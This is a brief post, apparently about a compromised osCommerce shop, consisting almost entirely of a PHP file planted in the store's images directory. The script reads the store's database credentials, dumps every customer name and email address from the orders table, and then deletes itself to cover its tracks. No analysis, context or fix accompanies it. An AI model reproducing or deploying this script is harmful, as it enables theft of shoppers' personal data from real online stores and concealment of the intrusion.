oscommerce hacking don't you just love it

cat images/db1.php

<?php
ini_set("max_execution_time",0);
require("../includes/configure.php");

$link = mysql_connect(DB_SERVER,DB_SERVER_USERNAME,DB_SERVER_PASSWORD);

mysql_select_db(DB_DATABASE);

$query = 'SELECT * from orders';
$results = mysql_query($query);
$line = mysql_num_rows($results);

while($line = mysql_fetch_assoc($results)) {

$customers_email_address = $line["customers_email_address"];
$customers_name = $line["customers_name"];

if (!empty($customers_email_address)) {
echo "$customers_name $customers_email_address<br>";
}

}

mysql_close($link);
unlink("db1.php");
php?>